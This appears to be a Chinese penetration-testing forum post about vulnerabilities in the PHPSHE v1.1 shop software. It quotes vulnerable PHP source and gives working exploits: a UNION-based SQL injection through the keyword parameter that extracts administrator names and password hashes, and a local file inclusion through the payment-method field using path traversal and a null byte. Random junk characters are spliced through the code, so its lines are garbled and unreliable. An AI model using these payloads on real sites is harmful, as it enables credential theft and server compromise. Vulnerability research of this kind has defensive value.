" _" p/ w7 v/ p- P5 z5 z* U' q
- ^+ r- b- E# S2 E
0×02 搜索注入
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索: o. F" D5 ?; Z: I& A. g5 \% t
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');8 H2 Z1 Z; g5 t
if ($category_id) {( o2 R& ]) f; w- I4 f4 k9 R# P
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}4 J4 g: S) F( y& @. ^! U8 |- P
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {5 k; Y1 X& i. n3 P% e
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";7 U4 `4 w4 o+ g) Z
}$ R* w" V# F/ d% y( ?+ S4 o9 d
else {
$sqlwhere .= " order by `product_id` desc";
}' T6 J9 [) v9 [6 Z
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));5 I. E9 e# _3 U$ K* f4 y
//热卖排行
$product_hotlist = product_hotlist();
//当前路径9 q9 R: }4 M% f7 m& `
$nowpath = category_path($category_id);* J/ s6 O, f4 j0 Z9 a" j
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库 u3 Y" ]! E* G
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())) Z1 i8 S9 F$ u4 t0 o
{! g) A' `0 V* w( N7 `) C
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp) r7 u, d* H+ a# N7 U
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>' P @5 o# j' E& `5 Y1 N# \
0×03 包含漏洞20 Y! S& D* i3 l
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
: P+ n0 w' X3 g; d
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
% I" A& U, X/ p; R
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
# j& y) u& {- u8 I% P8 d
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
/ `4 m2 `) F5 z1 @! R, z" Y& U
!$order['order_id'] && pe_error('订单号错误...');
* f7 A& |2 U5 k3 q% b: Y
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
* J- o+ H7 ]. r& S/ ~* j. f
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";% ? ?/ O9 X1 p) [; ]( y( `
& h$ \, _! G3 d+ c8 ` z
}
) D5 U5 H" \9 v& ~
echo '正在为您连接支付网站,请稍后...';
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
9 j/ \" l F4 _. t3 a% }
}//当一切准备好的时候就可以进行"鸡肋包含了"
' X, L, i. w9 B- R
else {
pe_error('支付错误...');
}
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
( T4 R$ k! O# {3 f7 R
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |